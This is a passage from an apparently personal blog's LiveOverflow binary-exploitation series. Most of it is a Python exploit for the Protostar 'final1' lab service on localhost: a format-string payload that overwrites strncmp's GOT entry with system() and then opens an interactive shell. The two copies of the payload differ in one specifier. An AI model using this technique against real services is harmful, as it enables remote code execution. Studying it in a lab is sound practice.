pad = "A"*(24-len(hostname))
username = pad+'BBBB'+STRNCMP+'%17$65407x %18$08n  '+STRNCMP2+'%17$47157x %24$08n'
login = 'CCCC'

print read_until("[final1] $ ")
# raw_input('waiting... hit [enter]')
s.send('username '+username+"\n")
print read_until("[final1] $ ")
s.send('login '+login+"\n")
print read_until("[final1] $ ")
# raw_input('waiting... hit [enter]')
t = telnetlib.Telnet()
t.sock = s
t.interact()
-> Run(= F5)
-> Success!

: Tips.
-> vim. ESC: syntax on

: Exploit Code(Python Code)
import socket
import struct
import telnetlib

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 2994))

def read_until(check):
        buffer = ''
        while check not in buffer:
                buffer += s.recv(1)
        return buffer

STRNCMP = struct.pack("I", 0x804a1a8)
STRNCMP2 = struct.pack("I", 0x804a1a8+2)

# overwrite location with system() 0xb7ecffb0
# Login from 127.0.0.1:52041 as [LiveOverflow] with password [my_password]

ip, port = s.getsockname()
hostname = ip+":"+str(port)
pad = "A"*(24-len(hostname))
username = pad+'BBBB'+STRNCMP+'%17$65407x %18$08n  '+STRNCMP2+'%17$47157x %24$08x'
login = 'CCCC'

print read_until("[final1] $ ")
# raw_input('waiting... hit [enter]')
s.send('username '+username+"\n")
print read_until("[final1] $ ")
s.send('login '+login+"\n")
print read_until("[final1] $ ")
# raw_input('waiting... hit [enter]')
t = telnetlib.Telnet()
t.sock = s
t.interact()

'LiveOverFlow > Binary' 카테고리의 다른 글

0x33.  (0) 2021.11.03
0x32.  (0) 2021.11.03
0x30.  (0) 2021.11.03
0x29.  (0) 2021.11.03
0x28.  (0) 2021.11.03
Comments